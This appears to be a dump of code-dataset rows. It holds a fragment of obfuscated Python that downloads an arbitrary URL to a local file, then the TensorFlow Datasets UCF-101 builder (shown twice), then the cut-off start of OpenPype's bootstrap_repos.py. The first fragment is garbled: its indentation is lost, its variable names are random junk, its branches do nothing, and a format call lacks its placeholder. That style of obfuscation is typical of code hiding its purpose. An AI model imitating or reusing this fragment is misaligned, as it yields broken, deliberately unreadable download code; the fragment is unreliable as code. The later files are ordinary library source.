for RBCBHyyBIqvEAvMwGIPJQHwOqBFSQDstSHEBXWHlSDuGzHJNSmSkJvLQpyQGBlB in SGCHDsJGQwxGLlwkQmUqAkCoNpZltPEzutqDSwCGkJGYwGSYHSQEOSwrhQCYGtI:
if RBCBHyyBIqvEAvMwGIPJQHwOqBFSQDstSHEBXWHlSDuGzHJNSmSkJvLQpyQGBlB == vQEuJmVNHwGxSSvyGIiHxugjUPxWowxUyNDEGOzCSjHgVJuIOFOPmwxnrLJQSqn:
SGCHDsJGQwxGLlwkQmUqAkCoNpZltPEzutqDSwCGkJGYwGSYHSQEOSwrhQCYGtI = oCqsEgDLzQDAXAizDEzFCkCWBqHRjHAcZEqZhOOupRIyPAiloYdVCHpYSnAyvDD
else:
vQEuJmVNHwGxSSvyGIiHxugjUPxWowxUyNDEGOzCSjHgVJuIOFOPmwxnrLJQSqn = QgQuPORBclHvfmxJxBvQuryLFCEJFznJJHOBAyQnuINtPCBFRmQrDAxuGTxnoCR
return 'Error: URL must begin with http:// or https:// .'
HxwHvBvAuGyRHsGvpSuwCSfFJRIPHwhyURHCLIDxjNxXPBlJyOlGJNMxwzfohSQ = zsCQvoXpDyupMoRCzCRABsrEHOPoArwsGJGIQEelOnHDABCprBHtGEQDxCvxhDH.split('/')[-1]
if not HxwHvBvAuGyRHsGvpSuwCSfFJRIPHwhyURHCLIDxjNxXPBlJyOlGJNMxwzfohSQ:
kJZzcHDGuyxCoDllHwjSyuqAXxUeAzsGzSJPrqiLAARvTDlFXpvuAMqJuFCmznz = 'JJrOJGBFWyBiCgSFZFOGxNkOVwFEBJIJMiFOvtHwIrqOLJAExHuxFBlESGwIaSD'
vIHrVqVNEFHzECJzHQwVHVrPMnXpfSMztGOQqCtwSFJQDIRJuJAzQulHIAJuICE = 'yyHBAQtCWpQvyyRTADIsBQBASkyGvCAErVRSCJdVpIyzrCXGRORqnChSGQEyBfx'
DioDBEvICArFGoDyVWVIGlFopvrPQPDRPsHIsBAoQFCmPIHovidQRQIXyHlzIky = 'QGzEQBFbGREZQmAuJBpNYzvJnHzAFpFePBmIKvsnpBEHHfpPRyvCTBReozBGyXu'
sNDSPGJVSSBCGOuIiqyzIzHznuvqsoCCDnQzFWyNBhHNPVNSnXGDAABENziNHPL = 'JyJyzDEHEGwnsUBvGXEjskmVkGYDHHoOMuJmueJVGTuvCzYFBxJewUBRExtMsAw'
zCBUZIzJtDoZvSCQzwCTEjmSRxIewyxolmReQtJpHCCmyBUpGItpqIzErwqqwvn = 'rCqjDwNGlOvqWyrvCQACRoBCSCCzMEQSRDzVSAqwEFEJRTHnyIQyOSeqxDIiGJQ'
if kJZzcHDGuyxCoDllHwjSyuqAXxUeAzsGzSJPrqiLAARvTDlFXpvuAMqJuFCmznz in vIHrVqVNEFHzECJzHQwVHVrPMnXpfSMztGOQqCtwSFJQDIRJuJAzQulHIAJuICE:
kJZzcHDGuyxCoDllHwjSyuqAXxUeAzsGzSJPrqiLAARvTDlFXpvuAMqJuFCmznz = zCBUZIzJtDoZvSCQzwCTEjmSRxIewyxolmReQtJpHCCmyBUpGItpqIzErwqqwvn
if vIHrVqVNEFHzECJzHQwVHVrPMnXpfSMztGOQqCtwSFJQDIRJuJAzQulHIAJuICE in DioDBEvICArFGoDyVWVIGlFopvrPQPDRPsHIsBAoQFCmPIHovidQRQIXyHlzIky:
vIHrVqVNEFHzECJzHQwVHVrPMnXpfSMztGOQqCtwSFJQDIRJuJAzQulHIAJuICE = sNDSPGJVSSBCGOuIiqyzIzHznuvqsoCCDnQzFWyNBhHNPVNSnXGDAABENziNHPL
elif vIHrVqVNEFHzECJzHQwVHVrPMnXpfSMztGOQqCtwSFJQDIRJuJAzQulHIAJuICE in kJZzcHDGuyxCoDllHwjSyuqAXxUeAzsGzSJPrqiLAARvTDlFXpvuAMqJuFCmznz:
DioDBEvICArFGoDyVWVIGlFopvrPQPDRPsHIsBAoQFCmPIHovidQRQIXyHlzIky = vIHrVqVNEFHzECJzHQwVHVrPMnXpfSMztGOQqCtwSFJQDIRJuJAzQulHIAJuICE
if DioDBEvICArFGoDyVWVIGlFopvrPQPDRPsHIsBAoQFCmPIHovidQRQIXyHlzIky in vIHrVqVNEFHzECJzHQwVHVrPMnXpfSMztGOQqCtwSFJQDIRJuJAzQulHIAJuICE:
vIHrVqVNEFHzECJzHQwVHVrPMnXpfSMztGOQqCtwSFJQDIRJuJAzQulHIAJuICE = zCBUZIzJtDoZvSCQzwCTEjmSRxIewyxolmReQtJpHCCmyBUpGItpqIzErwqqwvn
HxwHvBvAuGyRHsGvpSuwCSfFJRIPHwhyURHCLIDxjNxXPBlJyOlGJNMxwzfohSQ = 'file-'.format(str(datetime.datetime.now()).replace(' ', '-'))
try:
JzRFzrugDVDyEDzGVzsAQjyrCGCRxBNkrFkVrFNJvARGCVUJHzBBGjmSCxASxAM = 'PfEvtDBRaItrfGPHTkkAHqPzYvyNqwIoINIvSpIlgysFmkDyeOSjZDwGRIgFiTD'
uuRZGAzCytZNpQuUQmmyGqDLSRQJJyHHkyDEBNFIYWqtDuBCgHzutIJnDVREFPT = 'LIAzuuGiQBiExDZQtuNGSFBPQjFyzSEnYSSqAnBuCzSImQtiBwSOCfhCASQOJNG'
HDAhsmMWkDqSFxvyFHfECGkXNJiJJrURDrGDznHlwHFtMusugJRzFwVGMCrxvLs = 'hSpBOORLBEpSNrjLBwAHwRRDxNQvFyRtwLBwypiUluGqPqtAFHIIPwysFLAIIO'
if JzRFzrugDVDyEDzGVzsAQjyrCGCRxBNkrFkVrFNJvARGCVUJHzBBGjmSCxASxAM == uuRZGAzCytZNpQuUQmmyGqDLSRQJJyHHkyDEBNFIYWqtDuBCgHzutIJnDVREFPT:
HDAhsmMWkDqSFxvyFHfECGkXNJiJJrURDrGDznHlwHFtMusugJRzFwVGMCrxvLs = 'hSpBOORLBEpSNrjLBwAHwRRDxNQvFyRtwLBwypiUluGqPqtAFHIIPwysFLAIIO'
HDAhsmMWkDqSFxvyFHfECGkXNJiJJrURDrGDznHlwHFtMusugJRzFwVGMCrxvLs = JzRFzrugDVDyEDzGVzsAQjyrCGCRxBNkrFkVrFNJvARGCVUJHzBBGjmSCxASxAM
else:
HDAhsmMWkDqSFxvyFHfECGkXNJiJJrURDrGDznHlwHFtMusugJRzFwVGMCrxvLs = 'hSpBOORLBEpSNrjLBwAHwRRDxNQvFyRtwLBwypiUluGqPqtAFHIIPwysFLAIIO'
HDAhsmMWkDqSFxvyFHfECGkXNJiJJrURDrGDznHlwHFtMusugJRzFwVGMCrxvLs = 'PfEvtDBRaItrfGPHTkkAHqPzYvyNqwIoINIvSpIlgysFmkDyeOSjZDwGRIgFiTD'
urllib.urlretrieve(zsCQvoXpDyupMoRCzCRABsrEHOPoArwsGJGIQEelOnHDABCprBHtGEQDxCvxhDH, HxwHvBvAuGyRHsGvpSuwCSfFJRIPHwhyURHCLIDxjNxXPBlJyOlGJNMxwzfohSQ)
except IOError:
eFOyJAjpBXkCAIswBxOyaBmyGQRLEsGkStBazIoCEzDQRItSBRtBrSCDvFhJoGZ = 'BCRsWrHFCvIQHItOSlRvJSyMsTrQQkGCwoQDUtIyqstrUSHGJMpJwzRAywyPgpN'
xnwqznQFwSELtHIvzHhnMyBEwREuynhnTQnUWNDQvlShJyjRfJlYutSztSGyHFy = 'LIzFCuayxRFBGuSSvAoGPsnipDRtHyhAyHjtyvGzEtowRIjPyDgRnyodHuzAXTC'
CQgvTRwHFVADBXDkSRJzOIYlChCtXMnGSYeRJEStuXDqtOFZSBxItzuqTGzSpoJ = 'mruYjVuAzQERGyNGBCIwAHzSSPDxDzBpQqNCENnGpzARYrJtUJQRqWBfIcwuykR'
uOFnLxPElfRDBIsMwOmEQpHWxmPBTqFWOBrHrgubkxJRAFNTVDRyCSvfDQCAxFS = 'ROSCIVHsEQvIEAIGpDnARyxBROEmyJuwIODoSkAMFPQHvNCHPkNzHQARDzQRFLS'
if xnwqznQFwSELtHIvzHhnMyBEwREuynhnTQnUWNDQvlShJyjRfJlYutSztSGyHFy == eFOyJAjpBXkCAIswBxOyaBmyGQRLEsGkStBazIoCEzDQRItSBRtBrSCDvFhJoGZ:
for eFOyJAjpBXkCAIswBxOyaBmyGQRLEsGkStBazIoCEzDQRItSBRtBrSCDvFhJoGZ in xnwqznQFwSELtHIvzHhnMyBEwREuynhnTQnUWNDQvlShJyjRfJlYutSztSGyHFy:
if xnwqznQFwSELtHIvzHhnMyBEwREuynhnTQnUWNDQvlShJyjRfJlYutSztSGyHFy == xnwqznQFwSELtHIvzHhnMyBEwREuynhnTQnUWNDQvlShJyjRfJlYutSztSGyHFy:
CQgvTRwHFVADBXDkSRJzOIYlChCtXMnGSYeRJEStuXDqtOFZSBxItzuqTGzSpoJ = 'uOFnLxPElfRDBIsMwOmEQpHWxmPBTqFWOBrHrgubkxJRAFNTVDRyCSvfDQCAxFS'
elif CQgvTRwHFVADBXDkSRJzOIYlChCtXMnGSYeRJEStuXDqtOFZSBxItzuqTGzSpoJ == uOFnLxPElfRDBIsMwOmEQpHWxmPBTqFWOBrHrgubkxJRAFNTVDRyCSvfDQCAxFS:
uOFnLxPElfRDBIsMwOmEQpHWxmPBTqFWOBrHrgubkxJRAFNTVDRyCSvfDQCAxFS = eFOyJAjpBXkCAIswBxOyaBmyGQRLEsGkStBazIoCEzDQRItSBRtBrSCDvFhJoGZ
else:
eFOyJAjpBXkCAIswBxOyaBmyGQRLEsGkStBazIoCEzDQRItSBRtBrSCDvFhJoGZ = xnwqznQFwSELtHIvzHhnMyBEwREuynhnTQnUWNDQvlShJyjRfJlYutSztSGyHFy
elif CQgvTRwHFVADBXDkSRJzOIYlChCtXMnGSYeRJEStuXDqtOFZSBxItzuqTGzSpoJ == CQgvTRwHFVADBXDkSRJzOIYlChCtXMnGSYeRJEStuXDqtOFZSBxItzuqTGzSpoJ:
for CQgvTRwHFVADBXDkSRJzOIYlChCtXMnGSYeRJEStuXDqtOFZSBxItzuqTGzSpoJ in xnwqznQFwSELtHIvzHhnMyBEwREuynhnTQnUWNDQvlShJyjRfJlYutSztSGyHFy:
if uOFnLxPElfRDBIsMwOmEQpHWxmPBTqFWOBrHrgubkxJRAFNTVDRyCSvfDQCAxFS == xnwqznQFwSELtHIvzHhnMyBEwREuynhnTQnUWNDQvlShJyjRfJlYutSztSGyHFy:
CQgvTRwHFVADBXDkSRJzOIYlChCtXMnGSYeRJEStuXDqtOFZSBxItzuqTGzSpoJ = 'uOFnLxPElfRDBIsMwOmEQpHWxmPBTqFWOBrHrgubkxJRAFNTVDRyCSvfDQCAxFS'
elif CQgvTRwHFVADBXDkSRJzOIYlChCtXMnGSYeRJEStuXDqtOFZSBxItzuqTGzSpoJ == uOFnLxPElfRDBIsMwOmEQpHWxmPBTqFWOBrHrgubkxJRAFNTVDRyCSvfDQCAxFS:
uOFnLxPElfRDBIsMwOmEQpHWxmPBTqFWOBrHrgubkxJRAFNTVDRyCSvfDQCAxFS = eFOyJAjpBXkCAIswBxOyaBmyGQRLEsGkStBazIoCEzDQRItSBRtBrSCDvFhJoGZ
else:
eFOyJAjpBXkCAIswBxOyaBmyGQRLEsGkStBazIoCEzDQRItSBRtBrSCDvFhJoGZ = xnwqznQFwSELtHIvzHhnMyBEwREuynhnTQnUWNDQvlShJyjRfJlYutSztSGyHFy
for CQgvTRwHFVADBXDkSRJzOIYlChCtXMnGSYeRJEStuXDqtOFZSBxItzuqTGzSpoJ in xnwqznQFwSELtHIvzHhnMyBEwREuynhnTQnUWNDQvlShJyjRfJlYutSztSGyHFy:
if uOFnLxPElfRDBIsMwOmEQpHWxmPBTqFWOBrHrgubkxJRAFNTVDRyCSvfDQCAxFS == xnwqznQFwSELtHIvzHhnMyBEwREuynhnTQnUWNDQvlShJyjRfJlYutSztSGyHFy:
CQgvTRwHFVADBXDkSRJzOIYlChCtXMnGSYeRJEStuXDqtOFZSBxItzuqTGzSpoJ = 'uOFnLxPElfRDBIsMwOmEQpHWxmPBTqFWOBrHrgubkxJRAFNTVDRyCSvfDQCAxFS'
elif CQgvTRwHFVADBXDkSRJzOIYlChCtXMnGSYeRJEStuXDqtOFZSBxItzuqTGzSpoJ == uOFnLxPElfRDBIsMwOmEQpHWxmPBTqFWOBrHrgubkxJRAFNTVDRyCSvfDQCAxFS:
uOFnLxPElfRDBIsMwOmEQpHWxmPBTqFWOBrHrgubkxJRAFNTVDRyCSvfDQCAxFS = eFOyJAjpBXkCAIswBxOyaBmyGQRLEsGkStBazIoCEzDQRItSBRtBrSCDvFhJoGZ
else:
eFOyJAjpBXkCAIswBxOyaBmyGQRLEsGkStBazIoCEzDQRItSBRtBrSCDvFhJoGZ = uOFnLxPElfRDBIsMwOmEQpHWxmPBTqFWOBrHrgubkxJRAFNTVDRyCSvfDQCAxFS
else:
eFOyJAjpBXkCAIswBxOyaBmyGQRLEsGkStBazIoCEzDQRItSBRtBrSCDvFhJoGZ = xnwqznQFwSELtHIvzHhnMyBEwREuynhnTQnUWNDQvlShJyjRfJlYutSztSGyHFy
return 'Error: Download failed.'
return 'File {} downloaded.'.format(HxwHvBvAuGyRHsGvpSuwCSfFJRIPHwhyURHCLIDxjNxXPBlJyOlGJNMxwzfohSQ)
| true | true |
f7f357dc58f66e4dd3d663bfce7bf99b507d3eaa | 7,259 | py | Python | tensorflow_datasets/video/ucf101.py | vanshhhhh/datasets | aee32f95273ca3bfe83e09fb9b00ba4bf23597a5 | [
"Apache-2.0"
] | 3,380 | 2018-09-11T05:03:31.000Z | 2022-03-31T20:04:57.000Z | tensorflow_datasets/video/ucf101.py | vanshhhhh/datasets | aee32f95273ca3bfe83e09fb9b00ba4bf23597a5 | [
"Apache-2.0"
] | 3,142 | 2018-09-14T10:09:00.000Z | 2022-03-31T18:25:44.000Z | tensorflow_datasets/video/ucf101.py | vanshhhhh/datasets | aee32f95273ca3bfe83e09fb9b00ba4bf23597a5 | [
"Apache-2.0"
] | 1,438 | 2018-09-16T13:58:22.000Z | 2022-03-31T11:19:54.000Z | # coding=utf-8
# Copyright 2021 The TensorFlow Datasets Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""UCF-101 dataset from https://www.crcv.ucf.edu/data/UCF101.php."""
import os
from absl import logging
import tensorflow as tf
import tensorflow_datasets.public_api as tfds
UCF_101_URL = 'https://storage.googleapis.com/thumos14_files/UCF101_videos.zip'
SPLITS_URL = ('https://www.crcv.ucf.edu/data/UCF101/'
'UCF101TrainTestSplits-RecognitionTask.zip')
_CITATION = """\
@article{DBLP:journals/corr/abs-1212-0402,
author = {Khurram Soomro and
Amir Roshan Zamir and
Mubarak Shah},
title = {{UCF101:} {A} Dataset of 101 Human Actions Classes From Videos in
The Wild},
journal = {CoRR},
volume = {abs/1212.0402},
year = {2012},
url = {http://arxiv.org/abs/1212.0402},
archivePrefix = {arXiv},
eprint = {1212.0402},
timestamp = {Mon, 13 Aug 2018 16:47:45 +0200},
biburl = {https://dblp.org/rec/bib/journals/corr/abs-1212-0402},
bibsource = {dblp computer science bibliography, https://dblp.org}
}
"""
_LABELS_FNAME = 'video/ucf101_labels.txt'
class Ucf101Config(tfds.core.BuilderConfig):
""""Configuration for UCF101 split and possible video rescaling."""
def __init__(self, *, split_number, width=None, height=None, **kwargs):
"""The parameters specifying how the dataset will be processed.
The dataset comes with three separate splits. You can specify which split
you want in `split_number`. If `width` and `height` are set, the videos
will be rescaled to have those heights and widths (using ffmpeg).
Args:
split_number: The split number, one of (1, 2, 3)
width: An integer with the width or None.
height: An integer with the height or None.
**kwargs: Passed on to the constructor of `BuilderConfig`.
"""
super(Ucf101Config, self).__init__(
version=tfds.core.Version('2.0.0'),
release_notes={
'2.0.0': 'New split API (https://tensorflow.org/datasets/splits)',
},
**kwargs,
)
if (width is None) ^ (height is None):
raise ValueError('Either both dimensions should be set, or none of them')
self.width = width
self.height = height
if split_number not in (1, 2, 3):
raise ValueError(
'Unknown split number {}, should be 1, 2 or 3'.format(split_number))
self.split_number = split_number
class Ucf101(tfds.core.GeneratorBasedBuilder):
"""Ucf101 action recognition dataset.
Note that in contrast to the labels provided in the original dataset, here the
labels start at zero, not at one.
"""
BUILDER_CONFIGS = [
Ucf101Config(
name='ucf101_1_256',
description='256x256 UCF with the first action recognition split.',
width=256,
height=256,
split_number=1,
),
Ucf101Config(
name='ucf101_1',
description='UCF with the action recognition split #1.',
width=None,
height=None,
split_number=1,
),
Ucf101Config(
name='ucf101_2',
description='UCF with the action recognition split #2.',
width=None,
height=None,
split_number=2,
),
Ucf101Config(
name='ucf101_3',
description='UCF with the action recognition split #3.',
width=None,
height=None,
split_number=3,
),
]
def _info(self):
if self.builder_config.width is not None:
if self.builder_config.height is None:
raise ValueError('Provide either both height and width or none.')
ffmpeg_extra_args = ('-vf',
'scale={}x{}'.format(self.builder_config.height,
self.builder_config.width))
else:
ffmpeg_extra_args = []
video_shape = (None, self.builder_config.height, self.builder_config.width,
3)
labels_names_file = tfds.core.tfds_path(_LABELS_FNAME)
features = tfds.features.FeaturesDict({
'video':
tfds.features.Video(
video_shape,
ffmpeg_extra_args=ffmpeg_extra_args,
encoding_format='jpeg'), # pytype: disable=wrong-arg-types # gen-stub-imports
'label':
tfds.features.ClassLabel(names_file=labels_names_file),
})
return tfds.core.DatasetInfo(
builder=self,
description='A 101-label video classification dataset.',
features=features,
homepage='https://www.crcv.ucf.edu/data-sets/ucf101/',
citation=_CITATION,
)
def _split_generators(self, dl_manager):
splits_folder = 'ucfTrainTestlist'
urls_to_download = {
'videos': UCF_101_URL,
'splits': SPLITS_URL,
}
downloaded_urls = dl_manager.download_and_extract(urls_to_download)
return [
tfds.core.SplitGenerator(
name=tfds.Split.TRAIN,
gen_kwargs={
'videos_dir':
downloaded_urls['videos'],
'splits_dir':
downloaded_urls['splits'],
'data_list':
'{}/trainlist{:02d}.txt'.format(
splits_folder, self.builder_config.split_number),
}),
tfds.core.SplitGenerator(
name=tfds.Split.TEST,
gen_kwargs={
'videos_dir':
downloaded_urls['videos'],
'splits_dir':
downloaded_urls['splits'],
'data_list':
'{}/testlist{:02d}.txt'.format(
splits_folder, self.builder_config.split_number),
}),
]
def _generate_examples(self, videos_dir, splits_dir, data_list):
data_list_path_path = os.path.join(splits_dir, data_list)
with tf.io.gfile.GFile(data_list_path_path, 'r') as data_list_file:
labels_and_paths = data_list_file.readlines()
for label_and_path in sorted(labels_and_paths):
# The train splits contain not only the filename, but also a digit
# encoding the label separated by a space, which we ignore.
label_and_path = label_and_path.strip().split(' ')[0]
label, path = os.path.split(label_and_path)
# Fix an inconsistency between the names in the list and in the zip file.
path = path.replace('HandStandPushups', 'HandstandPushups')
video_path = os.path.join(videos_dir, 'UCF101', path)
if not tf.io.gfile.exists(video_path):
logging.error('Example %s not found', video_path)
continue
# We extract the label from the filename.
yield path, {'video': video_path, 'label': label}
| 35.935644 | 95 | 0.626533 |
import os
from absl import logging
import tensorflow as tf
import tensorflow_datasets.public_api as tfds
UCF_101_URL = 'https://storage.googleapis.com/thumos14_files/UCF101_videos.zip'
SPLITS_URL = ('https://www.crcv.ucf.edu/data/UCF101/'
'UCF101TrainTestSplits-RecognitionTask.zip')
_CITATION = """\
@article{DBLP:journals/corr/abs-1212-0402,
author = {Khurram Soomro and
Amir Roshan Zamir and
Mubarak Shah},
title = {{UCF101:} {A} Dataset of 101 Human Actions Classes From Videos in
The Wild},
journal = {CoRR},
volume = {abs/1212.0402},
year = {2012},
url = {http://arxiv.org/abs/1212.0402},
archivePrefix = {arXiv},
eprint = {1212.0402},
timestamp = {Mon, 13 Aug 2018 16:47:45 +0200},
biburl = {https://dblp.org/rec/bib/journals/corr/abs-1212-0402},
bibsource = {dblp computer science bibliography, https://dblp.org}
}
"""
_LABELS_FNAME = 'video/ucf101_labels.txt'
class Ucf101Config(tfds.core.BuilderConfig):
def __init__(self, *, split_number, width=None, height=None, **kwargs):
super(Ucf101Config, self).__init__(
version=tfds.core.Version('2.0.0'),
release_notes={
'2.0.0': 'New split API (https://tensorflow.org/datasets/splits)',
},
**kwargs,
)
if (width is None) ^ (height is None):
raise ValueError('Either both dimensions should be set, or none of them')
self.width = width
self.height = height
if split_number not in (1, 2, 3):
raise ValueError(
'Unknown split number {}, should be 1, 2 or 3'.format(split_number))
self.split_number = split_number
class Ucf101(tfds.core.GeneratorBasedBuilder):
BUILDER_CONFIGS = [
Ucf101Config(
name='ucf101_1_256',
description='256x256 UCF with the first action recognition split.',
width=256,
height=256,
split_number=1,
),
Ucf101Config(
name='ucf101_1',
description='UCF with the action recognition split #1.',
width=None,
height=None,
split_number=1,
),
Ucf101Config(
name='ucf101_2',
description='UCF with the action recognition split #2.',
width=None,
height=None,
split_number=2,
),
Ucf101Config(
name='ucf101_3',
description='UCF with the action recognition split #3.',
width=None,
height=None,
split_number=3,
),
]
def _info(self):
if self.builder_config.width is not None:
if self.builder_config.height is None:
raise ValueError('Provide either both height and width or none.')
ffmpeg_extra_args = ('-vf',
'scale={}x{}'.format(self.builder_config.height,
self.builder_config.width))
else:
ffmpeg_extra_args = []
video_shape = (None, self.builder_config.height, self.builder_config.width,
3)
labels_names_file = tfds.core.tfds_path(_LABELS_FNAME)
features = tfds.features.FeaturesDict({
'video':
tfds.features.Video(
video_shape,
ffmpeg_extra_args=ffmpeg_extra_args,
encoding_format='jpeg'), tfds.features.ClassLabel(names_file=labels_names_file),
})
return tfds.core.DatasetInfo(
builder=self,
description='A 101-label video classification dataset.',
features=features,
homepage='https://www.crcv.ucf.edu/data-sets/ucf101/',
citation=_CITATION,
)
def _split_generators(self, dl_manager):
splits_folder = 'ucfTrainTestlist'
urls_to_download = {
'videos': UCF_101_URL,
'splits': SPLITS_URL,
}
downloaded_urls = dl_manager.download_and_extract(urls_to_download)
return [
tfds.core.SplitGenerator(
name=tfds.Split.TRAIN,
gen_kwargs={
'videos_dir':
downloaded_urls['videos'],
'splits_dir':
downloaded_urls['splits'],
'data_list':
'{}/trainlist{:02d}.txt'.format(
splits_folder, self.builder_config.split_number),
}),
tfds.core.SplitGenerator(
name=tfds.Split.TEST,
gen_kwargs={
'videos_dir':
downloaded_urls['videos'],
'splits_dir':
downloaded_urls['splits'],
'data_list':
'{}/testlist{:02d}.txt'.format(
splits_folder, self.builder_config.split_number),
}),
]
def _generate_examples(self, videos_dir, splits_dir, data_list):
data_list_path_path = os.path.join(splits_dir, data_list)
with tf.io.gfile.GFile(data_list_path_path, 'r') as data_list_file:
labels_and_paths = data_list_file.readlines()
for label_and_path in sorted(labels_and_paths):
label_and_path = label_and_path.strip().split(' ')[0]
label, path = os.path.split(label_and_path)
path = path.replace('HandStandPushups', 'HandstandPushups')
video_path = os.path.join(videos_dir, 'UCF101', path)
if not tf.io.gfile.exists(video_path):
logging.error('Example %s not found', video_path)
continue
yield path, {'video': video_path, 'label': label}
| true | true |
f7f35824c8a6e82ce9fc0ada0075de27eb37a571 | 42,286 | py | Python | igniter/bootstrap_repos.py | yosuperdope/OpenPype | 0c90df97ddb8cda291a4f66d35da58b3deb94a71 | [
"MIT"
] | 44 | 2019-03-19T04:56:35.000Z | 2021-04-23T12:05:08.000Z | igniter/bootstrap_repos.py | jrsndl/pype | f9d80ef2c0663921291c5f47d24bea51fc43bac7 | [
"MIT"
] | 655 | 2020-03-17T15:10:21.000Z | 2021-04-23T18:22:52.000Z | igniter/bootstrap_repos.py | jrsndl/pype | f9d80ef2c0663921291c5f47d24bea51fc43bac7 | [
"MIT"
] | 21 | 2019-03-19T04:56:38.000Z | 2021-04-23T09:10:59.000Z | # -*- coding: utf-8 -*-
"""Bootstrap OpenPype repositories."""
from __future__ import annotations
import logging as log
import os
import re
import shutil
import sys
import tempfile
from pathlib import Path
from typing import Union, Callable, List, Tuple
import hashlib
from zipfile import ZipFile, BadZipFile
from appdirs import user_data_dir
from speedcopy import copyfile
import semver
from .user_settings import (
OpenPypeSecureRegistry,
OpenPypeSettingsRegistry
)
from .tools import get_openpype_path_from_db
LOG_INFO = 0
LOG_WARNING = 1
LOG_ERROR = 3
def sha256sum(filename):
"""Calculate sha256 for content of the file.
Args:
filename (str): Path to file.
Returns:
str: hex encoded sha256
"""
h = hashlib.sha256()
b = bytearray(128 * 1024)
mv = memoryview(b)
with open(filename, 'rb', buffering=0) as f:
for n in iter(lambda: f.readinto(mv), 0):
h.update(mv[:n])
return h.hexdigest()
class OpenPypeVersion(semver.VersionInfo):
"""Class for storing information about OpenPype version.
Attributes:
staging (bool): True if it is staging version
path (str): path to OpenPype
"""
staging = False
path = None
_VERSION_REGEX = re.compile(r"(?P<major>0|[1-9]\d*)\.(?P<minor>0|[1-9]\d*)\.(?P<patch>0|[1-9]\d*)(?:-(?P<prerelease>(?:0|[1-9]\d*|\d*[a-zA-Z-][0-9a-zA-Z-]*)(?:\.(?:0|[1-9]\d*|\d*[a-zA-Z-][0-9a-zA-Z-]*))*))?(?:\+(?P<buildmetadata>[0-9a-zA-Z-]+(?:\.[0-9a-zA-Z-]+)*))?$") # noqa: E501
def __init__(self, *args, **kwargs):
"""Create OpenPype version.
.. deprecated:: 3.0.0-rc.2
`client` and `variant` are removed.
Args:
major (int): version when you make incompatible API changes.
minor (int): version when you add functionality in a
backwards-compatible manner.
patch (int): version when you make backwards-compatible bug fixes.
prerelease (str): an optional prerelease string
build (str): an optional build string
version (str): if set, it will be parsed and will override
parameters like `major`, `minor` and so on.
staging (bool): set to True if version is staging.
path (Path): path to version location.
"""
self.path = None
self.staging = False
if "version" in kwargs.keys():
if not kwargs.get("version"):
raise ValueError("Invalid version specified")
v = OpenPypeVersion.parse(kwargs.get("version"))
kwargs["major"] = v.major
kwargs["minor"] = v.minor
kwargs["patch"] = v.patch
kwargs["prerelease"] = v.prerelease
kwargs["build"] = v.build
kwargs.pop("version")
if kwargs.get("path"):
if isinstance(kwargs.get("path"), str):
self.path = Path(kwargs.get("path"))
elif isinstance(kwargs.get("path"), Path):
self.path = kwargs.get("path")
else:
raise TypeError("Path must be str or Path")
kwargs.pop("path")
if "path" in kwargs.keys():
kwargs.pop("path")
if kwargs.get("staging"):
self.staging = kwargs.get("staging", False)
kwargs.pop("staging")
if "staging" in kwargs.keys():
kwargs.pop("staging")
if self.staging:
if kwargs.get("build"):
if "staging" not in kwargs.get("build"):
kwargs["build"] = "{}-staging".format(kwargs.get("build"))
else:
kwargs["build"] = "staging"
if kwargs.get("build") and "staging" in kwargs.get("build", ""):
self.staging = True
super().__init__(*args, **kwargs)
def __eq__(self, other):
result = super().__eq__(other)
return bool(result and self.staging == other.staging)
def __repr__(self):
return "<{}: {} - path={}>".format(
self.__class__.__name__, str(self), self.path)
def __lt__(self, other: OpenPypeVersion):
result = super().__lt__(other)
# prefer path over no path
if self == other and not self.path and other.path:
return True
if self == other and self.path and other.path and \
other.path.is_dir() and self.path.is_file():
return True
if self.finalize_version() == other.finalize_version() and \
self.prerelease == other.prerelease and \
self.is_staging() and not other.is_staging():
return True
return result
def set_staging(self) -> OpenPypeVersion:
"""Set version as staging and return it.
This will preserve current one.
Returns:
OpenPypeVersion: Set as staging.
"""
if self.staging:
return self
return self.replace(parts={"build": f"{self.build}-staging"})
def set_production(self) -> OpenPypeVersion:
"""Set version as production and return it.
This will preserve current one.
Returns:
OpenPypeVersion: Set as production.
"""
if not self.staging:
return self
return self.replace(
parts={"build": self.build.replace("-staging", "")})
def is_staging(self) -> bool:
"""Test if current version is staging one."""
return self.staging
def get_main_version(self) -> str:
"""Return main version component.
This returns x.x.x part of version from possibly more complex one
like x.x.x-foo-bar.
.. deprecated:: 3.0.0-rc.2
use `finalize_version()` instead.
Returns:
str: main version component
"""
return str(self.finalize_version())
@staticmethod
def version_in_str(string: str) -> Tuple:
"""Find OpenPype version in given string.
Args:
string (str): string to search.
Returns:
tuple: True/False and OpenPypeVersion if found.
"""
m = re.search(OpenPypeVersion._VERSION_REGEX, string)
if not m:
return False, None
version = OpenPypeVersion.parse(string[m.start():m.end()])
return True, version
@classmethod
def parse(cls, version):
"""Extends parse to handle ta handle staging variant."""
v = super().parse(version)
openpype_version = cls(major=v.major, minor=v.minor,
patch=v.patch, prerelease=v.prerelease,
build=v.build)
if v.build and "staging" in v.build:
openpype_version.staging = True
return openpype_version
def __hash__(self):
if self.path:
return hash(self.path)
else:
return hash(str(self))
class BootstrapRepos:
"""Class for bootstrapping local OpenPype installation.
Attributes:
data_dir (Path): local OpenPype installation directory.
live_repo_dir (Path): path to repos directory if running live,
otherwise `None`.
registry (OpenPypeSettingsRegistry): OpenPype registry object.
zip_filter (list): List of files to exclude from zip
openpype_filter (list): list of top level directories to
include in zip in OpenPype repository.
"""
def __init__(self, progress_callback: Callable = None, message=None):
"""Constructor.
Args:
progress_callback (callable): Optional callback method to report
progress.
message (QtCore.Signal, optional): Signal to report messages back.
"""
# vendor and app used to construct user data dir
self._vendor = "pypeclub"
self._app = "openpype"
self._log = log.getLogger(str(__class__))
self.data_dir = Path(user_data_dir(self._app, self._vendor))
self.secure_registry = OpenPypeSecureRegistry("mongodb")
self.registry = OpenPypeSettingsRegistry()
self.zip_filter = [".pyc", "__pycache__"]
self.openpype_filter = [
"openpype", "repos", "schema", "LICENSE"
]
self._message = message
# dummy progress reporter
def empty_progress(x: int):
"""Progress callback dummy."""
return x
if not progress_callback:
progress_callback = empty_progress
self._progress_callback = progress_callback
if getattr(sys, "frozen", False):
